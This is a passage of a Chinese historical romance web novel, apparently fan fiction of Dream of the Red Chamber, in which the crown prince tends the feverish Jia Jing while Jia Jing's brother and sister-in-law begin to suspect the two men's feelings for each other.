快起来!别跪了!”史云棠连忙让贾敬起来。 贾敬恍然起身, 放松之余,全身的疼痛瞬间席卷全身,头更像是被猛地一击, 眼前一黑, 贾敬整个人都瘫软下去。 贾敷连忙伸手,稳稳地搀扶住贾敬,用力一提,小心翼翼地将贾敬搀起坐了回去。 贾敬眼睛紧阖, 眼尾早已经烧红,鼻翼急速扇动, 大口大口地喘息着。 那粗喘着的气息, 时轻时缓如微风, 时重时急如狂雨。喘息之困难, 仿佛下一秒就要戛然而止。 “阿元……”贾敷颤抖着声音, 吓得心都提到了嗓子眼儿。 史云棠狠狠瞪了贾敷一眼, 眼中透露的便是:这下你满意了? 随后她转头满眼心疼地望着贾敬, 一只手手轻轻拍着贾敬的背, 帮他顺着气, 另一只手探上了贾敬的额头。 贾敷此时亦是心中悔意一片。 他不该这么逼贾敬的,这是他唯一的弟弟,是他一手带大的弟弟…… “糟了!阿元发烧了!”史云棠惊呼。 一时间,宁国府兵荒马乱。 贾敷和史云棠立即将贾敬送回他住的院落。 将贾敬平躺下来,只见他的手一直摁在胸前,贾敷还以为是贾敬是胸口不适,凑近想将贾敬的手挪开,目光落下,顿住。 贾敬放于胸前的手正紧紧地握着什么东西,根据露出了那一丝白玉角,贾敷瞬间想起: 这是萧淮川于庆祝宴那日送予贾敬的玉牌,还是当着自己的面,亲手为贾敬挂上的。 当时贾敷就觉得这一幕显得怪异、刺目,眼下他算是知晓原因了。 “淮哥……” 贾敬躺在榻上,嘴中喃喃呓语,白皙如玉的脸颊因发烧而潮红一片。 他闭着双眼,睫毛轻颤,他的嘴唇轻启,呼吸略显急促,汗水沿着额头滑落,打湿了鬓发,眉间的不安一览无余,身体下意识地蜷缩,遮掩不住的病态脆弱。 贾敷面对弟弟这幅可怜的模样,又想起贾敬那令人头疼的苦相思,爱上不该爱的人,不会有结果的人…… 他只觉得额角发疼,最终也只能无奈的叹了口气。 下一瞬,贾敷的牙关不禁咬紧,暗自磨牙。 他们家难道真的是欠了他们萧家不成? “挡这边做什么?府医来了,快给人家挪个地方!” 史云棠顾不得贾敷沉思,将他朝旁边推了推,给府医腾出位置。 府医瞧着贾敬的可怜模样,以及额头上的殷红伤口,觑了贾敷一眼,心道:这大爷怎么跟老太爷越发像了,居然将二爷教训成这样。 心里想着,手上动作却不慢,只见府医先是一摸脉,入手滚烫,脉搏剧烈跳动,再观贾敬五窍,府医脸色一变。 史云棠和贾敷在一边紧张地眼巴巴望着,见府医神情变化,心差点就蹦了出来。 府医转头:“大爷,二爷这是因为恐则气下,惊而气乱,神无所附,一时伤了元神,加之血气上逆,目赤耳鸣,这才昏厥不醒,起了热。” 贾敷语气急切:“该如何治?” 府医朝贾敷拱拱手,“大爷,老夫是军医出身,若是一般的头疼脑热或是外伤,都能处理。” “可二爷这情况不一般,一般的虎狼之药万万不得用,老夫不敢贸然开药,还请大爷去平安堂请他家的坐堂大夫,李大夫吧,他擅长此道。” “老夫先将二爷额头上的伤清洗上药。” 贾敷一愣,没想到府医居然看不了贾敬的病。史云棠则是立刻反应过来,让人去请平安堂的李大夫。 在门外满脸焦急的二狗一听,连忙请缨,“大太太,小的腿脚麻利,对城中路线也熟,让小的去吧。” 史云棠隔帘瞧了眼,认出是跟在贾敬身边贴身伺候的小厮,便直接摆手,“快去。” 二狗接到指令,撒腿便跑,生怕迟了。 · 贾敬病倒了,高烧不退。 这事儿当晚便报到了萧淮川那处。 倒不是萧淮川命人监视贾敬,说来也巧,上次琼林宴送贾敬回去的那位名叫小德子的太监,出宫采买,碰见了从宁国府跑出来的二狗。 小德子也是眼尖,一眼认出了二狗,二狗自然也认出了小德子。 便将贾敬病重,去请京城平安堂的名医李大夫的事,都告诉了小德子。 小德子回了东宫后,连忙向自己的上级,忍冬公公递了消息。 忍冬一听贾敬高烧病重,也赶忙向萧淮川禀报: “殿下,奴婢得到消息,说二爷高烧不退,宁国府那边都去请平安堂的李大夫了。” 萧淮川一听,眉头便拧了起来,白日里他走时还好好的,怎么这会子病的这样严重,竟然起了烧。 宁国府自然有府医,甚至是先前贾家掌兵时随军的军医,大大小小的内病外伤,都能给看看。 如今却要去请平安堂的大夫,这得多么凶险严重? 萧淮川:“知道是什么原因吗?情况如何了?” 说完这些,他已然坐不住了,骤然起身,抬腿便要出去。 忍冬见状,吓了一跳,踱步到萧淮川跟前,面露难色,哈着腰提醒道: “殿下,宫门已经落锁了。” 现在可不能出宫啊。 萧淮川脚步顿住,忍冬接着回答萧淮川的话, “近日春寒,想来二爷是见了风,才感染上了风寒。” “殿下放心,二爷吉人自有天相,定会没事的。” 萧淮川敛眸,今日贾敬确实与他一起在院中待了许久,想来是见了风。 心里是这样想着,可萧淮川总觉得有一丝心慌。 宫中已然落了锁,不得出宫,萧淮川望向桌案上一堆未处理的折子,眼底浮现一抹烦躁。 萧淮川拿起一旁已经凉透了的茶水。 “殿下,那茶凉了,奴婢帮您换……”忍冬话没说完,就见萧淮川一口气将那凉茶闷了个干净,堪称牛饮。 忍冬下意识想要提醒自家主子,这样饮茶伤身,可话到了喉头又被他咽了回去。 他小心翼翼打量着萧淮川深沉如一团墨色的眼眸,心跟着紧了紧。 萧淮川刚才那样的喝法,忍冬可从未在他身上见过。 他心里也能猜到,自家主子大抵是担忧贾二爷。 萧淮川强行将心慌和燥意压下,坐了回去,他准备连夜将手中的事情处理完毕,鲁地匪寇流窜一事,也该有个了断了。 待萧淮川忙完手上的事,桌案前的蜡烛将要燃烧殆尽,他动了动僵硬的脖颈,抬起头看着外面蒙蒙亮的天。 “忍冬,几时了?” 外间的忍冬听见萧淮川唤人,瞬间一个激灵,揉了揉惺忪的眼睛,从书房外间进来,“殿下,已经快要寅时了。” 萧淮川颔首,“为孤更衣,准备上朝了。” 望着萧淮川眼底的青黑,忍冬忍不住劝道:“殿下,这还有会儿时间,您要不先眯一会儿,奴婢待会儿唤您。” 萧淮川掀了掀眼皮,瞧了忍冬一眼,他虽没说话,可忍冬却已经明白,按照他方才吩咐的去做便是。 “皇兄这是怎么了?脸色如此憔悴。” 萧淮川站在殿外闭目养神时,耳边传来了一道关心的声音,不用睁眼,萧淮川也知道,是他的二弟,齐王萧淮洵。 萧淮川冷淡的态度,齐王早已经习惯,他今日是故意给萧淮川添堵的。 “皇兄可听说了?三弟不日就要陪皇祖母归京了。” “是吗。”萧淮川语气淡淡,毫不在意,他的心神在别处: 早朝大概需要一个时辰,不知道一夜过去,阿元的烧退了没有。 见不到贾敬,不知道他的情况,萧淮川心中原本压制的燥意涌上,手下意识盘起手腕上挂着的珠子。 齐王盯着萧淮川眉间的烦躁,故意问道:“皇兄不意外吗?” 萧淮川摩挲感受着那颗温热的珠子,若是贾敬瞧见,肯定能一眼认出,这是他先前送给萧淮川的那枚砂金珠子,被萧淮川编成了手串,随身戴着。 他随意答着:“皇祖母去五台山礼佛时日已久,理应归京了,不然,父皇都该担心了。” 齐王一哽,他见不得萧淮川这般淡定,只当他是装的,他不信萧淮川不在意,齐王说话的语气尖锐了几分: “三弟回京,就该入朝堂了。” “嗯。”萧淮川面色不改,一夜未合眼,神情恹恹,也不是很专注,随意道,“他年岁也不小了,该为父皇分忧了。” 待会儿出宫,还是把御医带上吧,路过蜜饯铺子,也要给阿元带些蜜饯甜甜嘴。想来他嘴里定是没什么味,喝药更是苦涩, 齐王见萧淮川这般敷衍他,气不打一处来,脸都跟着涨红,刚准备张口说什么,就听见尖利的传呼声: “圣上到,觐见!” 萧淮川站在首位,齐王不甘心地站回他应有的位置,文武百官跟在其后,朝殿内走去。 今日的早朝气氛较以往不同,天丰帝龙颜大悦。 “哈哈哈哈……朕心甚慰!” 堂上的一些大臣们不明所以,与前后左右的同僚面面相觑,私下问着: “可知有什么大喜事,竟然让咱们圣上,如此展颜?” “没听说啊。” 齐王也是好奇,到底发生了什么喜事? 目光下意识朝萧淮川瞥去,见他面色平淡,看不出任何喜色。 如此看来,萧淮川这位太子也不知道,齐王的心情瞬间好了许多。 天丰帝也不瞒着,他抬手朝左边一列指了指,朗声道:“史卿,” 左边武将一列,走出一位中年男子,年纪莫约四十多岁,一张国字脸,肤色黝黑,剑眉下眼睛炯亮,透露着一丝精明之色。 他刚一出列,就有些人已经开始窃窃私语。 “呀,保龄侯今日居然上朝了,不是告了假吗?” “你还真信那套说辞?我听闻,这些时日,保龄侯压根儿不在京城。” “不在京城?那去哪儿了?” 这武将不是别人,正是史家如今的族长、史云棠的父亲,世袭保龄侯史进,前些日子被天丰帝秘密派出京了。 史进俯首拱手道:“禀圣上,臣不负圣上所望,已将鲁地及周围地域流窜的匪寇全部剿灭!” 他洪亮有力的声音在朝堂上回荡,引起了众臣的侧目和哗然。 “原来保龄侯这些时日,竟然是去剿灭鲁地流寇了!” “保龄侯勇猛威武!” “圣上英明!” 众臣不约而同的恭祝天丰帝。 天丰帝端坐在龙椅之上,颔首笑着,望向史进的眼神里闪过赞许。 果然没有让他失望! “哈哈哈哈!是史卿勇猛!” “臣不敢居功,全赖圣上英明,计划周密,臣才能率将士们出其不意,一句歼灭这些流寇匪类。”史进言语之中满是恭敬和谦虚。 “若不是那份关于鲁地的详细情况,臣也不可能这么顺利。” “爱卿不必过谦,你的功劳朕心中有数。”天丰帝满意地点点头。 天丰帝今日心情很是好,故意问了句,“你可知,这是何人准备的?” 低垂着头的史进闻言,眼眸闪了又闪,嘴上却道:“臣不知。” “圣上能否告知,是朝中哪位大臣的功劳,臣必当亲自感谢!” 两人这样说着话,其余众人则是悄悄打着眉眼官司,猜测谁会参与此事。 齐王也同样好奇,侧过身,目光落在身后的一群大臣身上。 可没等他们猜呢,天丰帝便已经开了口。 只见天丰帝和颜悦色地看向右下首一直未说话的萧淮川,“太子啊,保龄侯说,要好好谢谢你呢。” 齐王脸色一僵,居然是萧淮川? 史进一怔,随后露出不可置信的神色,“这竟然是太子殿下所准备的?” 萧淮川朝史进的方向微微侧身,颔首:“这是孤本职所在。” “保龄侯凯旋,剿匪有功,实在令人钦佩。” “父皇,这是鲁地之后安治的帖子,请您过目。” 萧淮川顺势呈上,天丰帝是越看越是惊喜,不禁夸道: “如此甚好!” “此次剿匪,太子与保龄侯配合融洽,共计一功!” 天丰帝扫过萧淮川眼底的青黑,“太子这段时间辛苦了,朕准你三日休沐,可不能累坏了身子。” 萧淮川躬身,“为父皇分忧,是儿臣的荣幸。” 天丰帝满意萧淮川的态度,“休沐完,便去户部吧。” 这话一出,直接让齐王酸到了心里,天丰帝居然让萧淮川去管理户部! 那可是大乾的钱袋子,何其重要! 萧淮川只是再次俯身谢恩。 天丰帝一直都在观察着萧淮川的态度,见他谢恩完,他像是想起什么。 “老二老三也不小了,也该为朕分忧分忧了。”天丰帝说着一顿,将齐王惊喜的神情收入眼底后,才接着道: “老二去工部历练历练,等老三回来,就让他去大理寺,朕记得他就喜欢这些。” 齐王激动谢恩:“谢父皇恩典,儿臣定不负父皇所望,为父皇分忧!” 天丰帝露出一丝笑。 萧淮川没心思理会天丰帝的这一系列举动,大抵不过是让他这些兄弟和自己打擂台,平衡而已。 早朝刚下,萧淮川便疾步匆匆地朝宫外去,也只是路过保龄侯史进,给了一个隐晦的眼色,无人注意。 萧淮川来宁国府,一路畅通无阻,直接进了贾敬的寝屋,一眼便看见了双目紧阖的贾敬,散开的黑发随意铺在枕头上,衬得他那张脸愈发透明,仿佛一阵风吹来,便会散了。 而额头更是血色一片,虽明显可以看出上了药,可依旧骇人。 阿元怎么会受伤! 萧淮川的心骤然一痛,像是被蜂尾针用致命一击扎在了心头。 【作者有话要说】 注释1、恐则气下,惊而气乱,神无所附,血气上逆,目赤耳鸣。出自《黄帝内经》 第50章 在贾敬身边陪护了一晚上的贾敷, 早已困倦不堪,上下眼皮直打架,最终还是没能抵挡住倦意的侵袭, 迷迷糊糊地打起了瞌睡。 他听到声响,猛然睁开眼,当看到站在贾敬床边的萧淮川时, 贾敷的脸瞬间沉了下去, 面部不由自主地一抽, 原本垂放在身侧的手, 此时也开始微微发痒起来。 他想打人。 贾敬从小就跟在萧淮川身后玩儿,关系要好,这本就让身为兄长的贾敷心里很不是滋味儿, 时常暗自吃醋。 如今得知贾敬对萧淮川情根深种, 彻底栽了,贾敷更加不忿。 尤其是萧淮川对于此事还一无所知,是贾敬一厢情愿单相思,贾敷便更气了! 一想到自己家这颗水灵灵的小白菜这样心甘情愿地主动送上门去, 让那头不知好歹的“猪”给白白占了便宜,无论是换做是谁, 恐怕都会气得火冒三丈吧? 贾敷努力克制自己心中的怒火, 紧紧地握住手中的玉扳指, 力气大到手指关节都有些泛白。 本想皮笑肉不笑掩饰一下, 谁知根本笑不出。 最后, 贾敷只能脸色僵硬地望着萧淮川, 阴阳怪气的说道:“殿下大驾光临, 怎么事先也不派人通传一声呢?” 贾敷上下打量了萧淮川一眼, 见他身上是没来及换下的朝服, 也知道,萧淮川是一下朝便来了这儿。 “孤听闻阿元突发高烧,心中着实担忧,便匆忙赶来看看情况如何。” 说话间,萧淮川的目光与心神始终系在贾敬的身上,至于贾敷话语之中透露的异样与怪味儿,他丝毫未曾察觉和在意。 只见萧淮川小心翼翼地俯下身去,望着贾敬头上敷着白布还透露出殷红血迹,下意识地伸出手,想要去抚摸贾敬受伤的额头。 可萧淮川的手刚伸出去,一旁的贾敷眼疾手快,猛地伸手将其拦住。 萧淮川一愣,收回手,转头看向贾敷。 贾敷微微扯动了一下嘴角,“殿下有所不知,阿元昨夜可是高烧整整一夜未退,直到刚刚不久前才好不容易退烧。” “折腾了一宿,好不容易才得以安稳入睡,还望殿下见谅。” 言外之意便是萧淮川不要再继续靠近触碰贾敬,莫要惊扰了贾敬休息养神。 贾敷说着,眼里的心疼不由得流露出来。 这话绝非贾敷夸大其词,昨夜贾敬的情形着实危急万分。 他许是真的被吓到,那高烧起的极为迅速,梦魇也如燎原之火将他包围,贾敬神色惶恐不安,嘴上还一直喃喃呓语,一会儿唤着萧淮川,一会儿又唤着贾敷和史云棠。 到了病情最为严重之时,他的身躯竟不由自主地颤抖抽搐起来,期间还无意识的吐了。 贾敷心急如焚,无论怎么唤也唤不醒,只能眼睁睁看着,看得直揪心。 平安堂的李大夫赶到后,经过一番诊治,用金针刺穴才勉强让贾敬安稳下来。 贾敷和史云棠也不懂,就看着那一根根奇长的金针扎入贾敬的身上,自己的心也仿佛被这金针扎了一般。 他们陪了贾敬一晚上,几乎没有合眼,时刻关注着贾敬的一举一动,稍有异动便立刻上前轻声安抚。 待黎明前,贾敬才将将退烧,昏沉睡去。 贾敷一字不落的将贾敬的情况都说于萧淮川听,连他自己也说不清,是想让萧淮川知道,还是想要让他自己记得。 他的弟弟爱上这么一位永远不会有结果的人…… 他心中只觉得无力,像是无根浮萍飘在水上一般。 萧淮川听了贾敷的话,藏于衣袖下的手不自觉地蜷缩捏紧,仿佛这样便能减轻心中的刺痛。 他缓缓转头,目光再次落在贾敬的脸上,见他虽面色发白,毫无血色,透着浓浓的病气孱弱,但仔细端详他的神情,便能看出,他睡得安稳,并不痛苦难受。 看到这里,萧淮川那颗高悬的心总算稍微回落了一些,轻轻松开攥紧的拳头。 他瞥了眼身后跟着的人,对贾敷道:“孤带了擅长治内症的王御医,让他为阿元看看吧。” 贾敷闻言,犹豫了一会儿,没有拒绝。 他是不想搭理萧淮川,可让宫里的御医为贾敬再看看,他才能更放心。 这次跟萧淮川来的御医是个生面孔,年纪也比先前为贾敬治手的那位御医年长许多,看着很靠谱。 王御医走近为贾敬诊断,萧淮川看着看着,目光便粘在了贾敬受伤的额头,好半晌,他开口问道: “敷大哥,阿元为何额头会受伤?” 萧淮川观贾敬额头上的伤,心中思忖着,这到底是怎么伤的? 他昨日中午离开时,贾敬额头上可没有这道伤。 贾敷面容一僵,还能是因为什么?因为他的逼问,逼的贾敬用这样的方法来向自己证明。 他早已经后悔了,可也庆幸贾敬没有瞒着自己,让自己知晓了此事,他也好为之后的事情做准备。 一时间,贾敷没有回答。 萧淮川眯了眯眼,也没在多问,只是静静地看着贾敬。 王御医一边给贾敬看诊,一边询问贾敷,贾敬先前的症状。 贾敷便将先前两位大夫的诊断都告诉了王御医。 萧淮川从一旁听着,也终于听明白了贾敬的病症,眼里是掩不住的惊诧。 他本以为贾敬高烧,是因为这些时日倒春寒,忽冷忽热,又与他在院中待了许久,吹了风,这才病倒。 可听刚才贾敷和王御医的对话,贾敬根本不是因为这些才病倒,而是因为惊吓和情绪大起大伏,乱了心神,才忽然起了热。 萧淮川心中的疑惑更甚:阿元到底是为什么会受伤,又是发生了什么,让他情绪起伏如此严重? 眼下贾敬昏睡着,这件事,想来贾敷是清楚的,可萧淮川刚刚问话贾敷,贾敷明显不想说。 萧淮川只好压下心中各种思绪,专注于贾敬的病情和伤。 “王御医,阿元这个情况,该如何医治?” “禀殿下,先前为贾二爷诊治的两位大夫,病症辩证没有问题,金针刺穴更是一绝,药方也是对症下药,按方服用便好。” 王御医如实说着,心中也不禁感慨,民间有高手。 萧淮川眼睛盯着贾敬的额头,又问:“那额头的伤呢?” 王御医也确实查看了贾敬额前的伤,答道:“二爷额头上的磕伤并不严重,白玉膏敷上几日,便会好了。” 磕伤? 还是磕中了额头的正中心…… 萧淮川敛眉,稍稍掠了眼贾敷,见他耸拉着眉眼,心中有了一丝猜测。 “药来了!” 史云棠一直盯着小厨房煎药,药煎好后就回了贾敬的寝屋,谁知刚一进屋,抬眼便撞见了站在贾敬床前的萧淮川,心下一惊, “太子殿下何时来的?” 她快步走到贾敷身边,朝他使了个眼色: 太子怎么来了? 贾敷也一脸郁色。 待会儿他就吩咐府中小厮,以后萧淮川再上门,可不能这么轻松放他来阿元这里了。 史云棠抬眸,眼神隐晦地瞥了一眼萧淮川,眼神里藏着复杂。 她怎么也没想到,自己望着长大的小叔子,居然会喜欢上一个男人,还是当朝太子。 可站在萧淮川面前,史云棠也不得不感慨,喜欢上这位,好似也不令人意外。 “夫人,这药可否给老夫一观?” 史云棠自然认识宫中御医的官服,猜到是萧淮川领来的人,笑道: “您请看。” 王御医走到断端药丫鬟的面前,端起药,闭眼仔细嗅了嗅药味。 片刻后,王御医睁开眼睛,脸上露出一丝满意和惊喜的笑容,点了点头说道: “殿下,此方药的选药配伍堪称绝佳啊!趁热服用,其药效必定极好。” 史云棠一听,上前便向从王御医手里端过药,可还未凑近,那碗药便被一双修长如玉的手端走。 “孤来吧。” 端过药的自然是萧淮川。 贾敷不乐意,“不劳烦太子殿下,还是我这位做哥哥的来吧。” 萧淮川躲开贾敷的手,语气温和:“敷大哥,阿元从小到大都怕喝药,孤没少喂药,手熟。” “说起来,我也是阿元的哥哥。” 说完,他极为自然地坐到贾敬的床边,一手端着药碗,另一只手则灵活地穿过贾敬的脖颈下方。 接着,他单臂稍稍一用力,稳当又不失轻柔地将贾敬的身体半扶起,让他舒适地靠在了自己的胸前。双臂小心地环绕住贾敬,生怕他会不小心滑落下去。 萧淮川拿起汤匙,舀起一小勺温度适宜的药汤,送到贾敬嘴边。 沉睡中的贾敬抿着唇,鼻尖嗅着苦涩的药味,更是下意识的偏了偏头。 “阿元,乖啊。” “吃了药,咱们就不难受了。” “别怕,我给阿元带了蜜饯,喝完咱们就吃。” 萧淮川小心又温柔地哄着,也不知是贾敬熟悉萧淮川的嗓音,还是怎的,只见方才还偏过头去的贾敬,顺从地张开嘴巴。萧淮川连忙喂上一勺药,贾敬慢慢地吞咽下了这一口药。 药入口的那一瞬间,贾敬的眉头便狠狠地蹙在了一起,又想偏过头去。 萧淮川趁其不备,加快了手中的速度,一勺接一勺,一眨眼的功夫,药便全部喂进了贾敬的嘴里。 整套动作如行云流水,流畅自如,整个过程中药汤竟然没有洒落半分出来。 “唔……” 贾敬被苦的呜咽出声,那声音不大,像是一个毫无抵抗之力的狸奴。 萧淮川叹了口气,他现在还记得上次贾敬受伤时,一口气喝了药,嘴上还说着自己大了,已经不怕苦了。 如今看来,还是和从前一般无二。 药碗随意放到一旁,萧淮川不知道从哪里掏出了一颗蜜饯,顺势塞到了贾敬嘴里,另一只手轻轻将贾敬脸旁垂落的发丝挽到耳后。 萧淮川定定地望着贾敬的睡颜,心里默默念着: 阿元,可要快点好起来…… 站在一旁的史云棠和贾敷看着这一切,都不禁瞪大了眼睛,两人不约而同的转脸,皆看到了彼此眼中的震惊和复杂。 怎么瞧着那么奇怪? 史云棠又转头看了一会儿,陷入了沉思。 贾敷则是气得咬了咬牙,他觉得萧淮川刚才那一举动,是对自己的挑衅! 绝对是! “你……” 贾敷的话刚开口,便被史云棠一把拉住,拖拽着出了房门。 出了屋子,来到院子。 贾敷先是看了看方才出来的门口,见没人跟着,才不满的开口道: “夫人,你干嘛拦着我,你看他那个嚣张样子!” 史云棠仿佛跟看傻子一样看着贾敷,“你就没发现哪里不对劲?” 贾敷:“啊?” 史云棠试探地开口:“你不觉得,太子殿下刚才喂药给阿元,太过熟练了吗?” 其实她想说亲密。 “是啊,他在挑衅我!”贾敷气得眼睛溜圆,“明明我才是阿元的哥哥!” 史云棠:…… 她嫌弃地瞅了贾敷一眼,气得伸手在贾敷的腰上狠狠揪了一下,啐了一口:“你个呆子!” 贾敷震惊地望着自家夫人,他家夫人什么时候骂人这么脏了? 史云棠翻了个白眼,直接戳破:“你见过他那样做人哥哥的?”【你现在阅读的是魔蝎小说 moxiexs】 50-60 第51章 “啊?” 贾敷满脸惊愕地眨了眨眼睛, 几乎是不假思索地反驳道: “他当然算不得哥哥了!” 此时的他,脑子里还满满都是与萧淮川暗自较劲的念头。 然而,就在这句话刚刚从嘴里蹦出来之后, 贾敷像是被一道惊雷击中似的,瞬间意识到不对劲来。 可不是嘛,萧淮川压根儿就不是贾敬的亲哥哥, 但他对贾敬那份体贴入微、关怀备至的照顾, 那种“兄友弟恭”的亲昵劲儿, 即便是亲生兄弟之间恐怕也是极为罕见。 所以…… 贾敷忽然是领悟到了什么不得了的事情, 整个人都懵住了,他震惊地抬头,死死地盯着史云棠, 一副“夫人你可知道你在说什么”的模样。 “这……这怎么可能!”贾敷结结巴巴地叫嚷着, 声音都不自觉的走调,“他们是从小一块儿长大的,所以才会……” 说到这儿,贾敷自己都不清楚他究竟想要说什么, 只是嘴巴不停地张合着,毫无头绪地胡言乱语一通。 他没发现, 他那双原本稳稳当当的双手此刻像是失去了控制一样, 不由自主地微微颤抖起来。 史云棠则是若有所思地轻轻皱起秀眉, 开始仔细回味刚才所目睹的一切。 她越想越是觉得其中大有文章。 起初, 她原以为这事儿无非就是贾敬单方面的相思罢了, 是落花有意, 流水无情。 谁曾料到, 当她目睹萧淮川的种种举止, 想法有了动摇, 这看似无情的流水好似也恋着落花啊? 这个突如其来的念头一冒出,史云棠不由得心头一紧,一种说不上来的情绪涌上心头。 若说知晓贾敬单恋萧淮川的时候,史云棠满心是对贾敬的心疼和怜惜。 毕竟,只要是个正常人都知道,爱上萧淮川那样的人,踏上这条路,终究注定只能落得空欢喜一场,是不会有结果的。 她心疼自家弟弟这位痴情种。 可当史云棠察觉到萧淮川也许对贾敬的心也不一般后,她的心情瞬间变得矛盾。 史云棠先是为贾敬欣喜,可欣喜过后,便是恐惧与担忧。 且不说萧淮川到底对贾敬是怎么样的情愫和态度,单单凭萧淮川那个身份,哪怕他们二人两情相悦,彼此倾心,恐怕圣上也不会允许,世俗亦不会允许。 难办呐。 贾敷舔了舔干涩起皮的唇,颤着声音问史云棠,“夫人,你是个什么想法?” 他心思可比不上史云棠的玲珑心细腻,虽已经察觉到不对,但看不清这里面的门道。 史云棠眯了眯杏眸,手拉着贾敷,悄声道:“我们先去前厅。” 贾敷下意识看向贾敬的寝屋方位,眼露担忧。 史云棠:“放心吧,他不会对阿元做什么。” 一直走出了贾敬的院子,史云棠挥手示意让丫鬟们留在原地等候,然后自顾自地朝着前方走去。 贾敷见状,赶忙跟上史云棠的步伐,两人并肩而行。 一路上,史云棠都沉默不语,似乎在思考着什么。 终于,当走到一处幽静的花园小径时,她看了看四周,停下脚步,转头看向身旁的贾敷,压低声音说道: “我觉得,太子或许对阿元的心也不一般。” 贾敷听了这话,一脸难受,心乱如麻,眉头紧紧拧着,长叹一口气: “就算不一般又如何?” 尽管心中同样察觉到了一些异样,但他实在不敢去深想其中的缘由。 毕竟,那样的感情又怎能有结果呢? 贾敷自暴自弃地说了句,“他们不可能。” 史云棠的脚步顿了顿,缓声反问道:“为何不可?” 这突如其来的反问,在贾敷耳边炸响,他惊愕地瞪大双眼,难以置信地盯着史云棠,嘴巴微张,好半天才结结巴巴地挤出一句话: “他们……他们怎么可以?” 面对贾敷的质问,史云棠停下脚步,缓缓转过身,与贾敷四目相对,声音轻却坚定, “他们二人都尚未娶妻,也都尚未成婚,若是真的彼此相爱,如何不能在一起?” 贾敷张了张嘴,一时无言以对。 是这个原因吗?横亘在萧淮川和贾敬之间的困难又岂止这么简单? 两人的身份,世俗的眼光还有……天丰帝。 想起这些,贾敬心中是满满地无力。 他想要反驳,刚张嘴,史云棠便知道他要说什么,直接将他的话打断: “我知晓你想说什么,心中自然也清楚将来会面临什么。” 贾敷紧紧抿着唇,一言不发。 一时间,寂静了下来。 史云棠叹了口气,“眼下的情形你应该也看见了,阿元认定了他。” “阿元是咱们弟弟,这世上只有咱们是一家人,是最亲的,我希望他能好好的。” 听到这话,贾敷微微垂首,眼帘低垂,眼眸轻颤,眼底深处悄然涌起一丝难以言喻的酸涩之感。 他又何尝不希望自己的弟弟能够幸福顺遂、一切安好呢? 这同样也是深埋于他内心深处的殷切期盼…… 史云棠深深地吸了一口气,继续说道: “倘若仅仅只是阿元一厢情愿,那我倒也不愿过多去思量些什么,更不会贸然做些什么,所能做的无非就是加倍地疼惜他罢了。” 史云棠稍稍停顿了一下,忽然话锋一转, “然而,目前看来,事实并非如此。倘若太……”史云棠说到这里,顿了一下,改口道,“若是他对阿元也有意呢?” “他们二人彼此倾心,情投意合呢?” 贾敷静静地听着,手指摩挲着扳指,陷入了沉思之中。 史云棠:“既然阿元都已经走到了这一步,我们何不再推他一把?难道真的要眼睁睁地看着他孤独终老,不得所爱,求而不得吗?” 贾敷双拳紧紧攥着,沉默了许久,就到周围空气都仿佛要凝滞一般,才听到他嘶哑着声音开口:“他……真的对阿元有意吗?” “就算有意,他真的愿意表明心意,护着阿元吗?” 每一个字从贾敷口中吐出,都像是用尽了全身的力气。 “不论是现在亦或是以后,他那样的身份太危险了,就算如今海誓山盟,可是以后呢?若是情意淡去,阿元又该如何自处?” 萧淮川和贾敬的地位差得实在多,君王之爱更是虚无缥缈如幻影,一旦陷入那样的境界,便无法自拔,跌得粉身碎骨的便只会是贾敬。 贾敷狠狠地阖上湿润的眼睛,试图藏住了眼里的惧意。 然而,他那颗因担忧而颤抖不已的心却怎么也平静不下来。 他真的好害怕,害怕他最疼爱的弟弟会一失足成千古恨,从此跌落无底的黑暗深渊,再也无法翻身。 “况且,先前这些不过是我们的揣测,他对阿元到底是何心意,我们并不确定。”贾敷沉默了一会儿,吐出了这么一句。 “他如今未成婚,原因我们也都知道。”贾敷向上指了指。 萧淮川一直没有娶太子妃,都是因为天丰帝。 说起这件事,贾敷又想起先前史老太君的那个痴念,居然一开始想要将史云棠嫁给萧淮川? 如今,史云棠是如愿成了自己的夫人,可自己倒是赔了个弟弟。 “是。”史云棠点头,“所以,我们要先试一试他,看看他到底是何心意。” 若是萧淮川没有这个心思,他们就要想办法帮贾敬藏匿好心思,尽可能地保护他。 若是有…… 等确定了再考虑吧。 · 萧淮川陪了贾敬好一会儿,见贾敬喝了药后,睡得更加沉了, 他拿过旁边手盆里的帕子,小心地拧干,仔细得帮贾敬擦拭着脸上的汗。 当擦到贾敬的额头时,萧淮川手上更轻了几分,生怕弄疼了贾敬。 对于这道伤口,他心中已经有了答案。 这样的伤口对于萧淮川来说并不陌生,于宫中来说,类似的伤痕可谓屡见不鲜。 碰见脾气不好的主子或者管事,很多小太监小宫女都会有这样的伤。 就连萧淮川自己也曾因为求天丰帝,而有过这样的伤口。 这是磕头磕出来的伤。 可什么事情,需要阿元这样去磕头? 萧淮川脑海里霎时闪过贾敷躲闪愧疚的神情。 阿元莫不是触犯了家规? 被罚家法这种事,贾敬曾经是家常便饭,那是贾代化还在世的时候。 贾敬时常被他打的遍体鳞伤,一开始,贾敬还会想方设法的瞒着萧淮川,可他们两人时常在一起,形影不离,他身上有伤,又怎么可能瞒得住萧淮川? 萧淮川永远也忘不了那一天,当他看到贾敬浑身伤痕累累的模样时,他的心仿佛瞬间被千万根细针无情地刺穿,疼痛难忍。 那种感觉不仅仅是心疼,更是一种无法抑制的愤怒。 可他拿贾代化并没有任何办法,老子教训儿子,天经地义,他一个未长成的小太子,在贾代化眼里不过是个不谙世事的孩子,谁会把他的话当回事? 也就是在那一刻,萧淮川心中萌生出了一股强烈的欲望:他迫切地希望长大。 只有长大了,他才能真正地掌握权柄,才能够有能力去保护他想要守护的人。 后来…… 贾代化竟然先一步离开人世,驾鹤西去。 贾敬被罚的日子也一去不返,在此之前,贾敷可从未这样罚过贾敬,他向来是护着的。 所以到底发生了什么? 萧淮川拧眉。 如果不是今日看到贾敬额头上的伤,回想起往昔种种,萧淮川几乎都快要忘却自己年少时曾立下的心愿了。 紧接着这些日子所发生的事情一一浮现在萧淮川的脑海中: 上次贾敬遭遇匪徒袭击身负重伤;那次庆祝宴会上,无端遭受他人的冷嘲热讽…… 这一桩桩、一件件的事情,深深地刻在萧淮川的心头。 他那双狭长的凤眸微微眯起,眼神深深地定在贾敬身上,眼神之中是毫不掩饰的自责与歉意。 是他没有保护好他的阿元…… 萧淮川的手指轻轻滑过贾敬额头,顺着向下,抚摸过他的脸颊,最终轻轻握住贾敬冰凉的手,稍稍用力,密不可分。 他想要护着阿元。 这些年过去,萧淮川还是曾经那个愿望,未曾改变。 